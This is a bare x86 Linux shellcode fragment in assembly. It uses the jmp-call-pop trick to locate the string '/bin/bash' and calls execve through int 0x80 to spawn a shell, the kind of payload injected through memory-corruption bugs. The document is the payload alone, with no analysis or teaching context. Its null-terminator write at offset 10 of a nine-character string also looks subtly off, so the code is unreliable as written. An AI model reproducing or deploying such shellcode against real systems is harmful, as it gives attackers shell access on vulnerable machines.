global _start _start: jmp short data exploit: xor eax, eax xor ebx, ebx xor ecx, ecx pop edx mov [edx + 10], eax mov al, 11 mov ebx, edx xor edx, edx int 0x80 data: call exploit cmd: db '/bin/bash'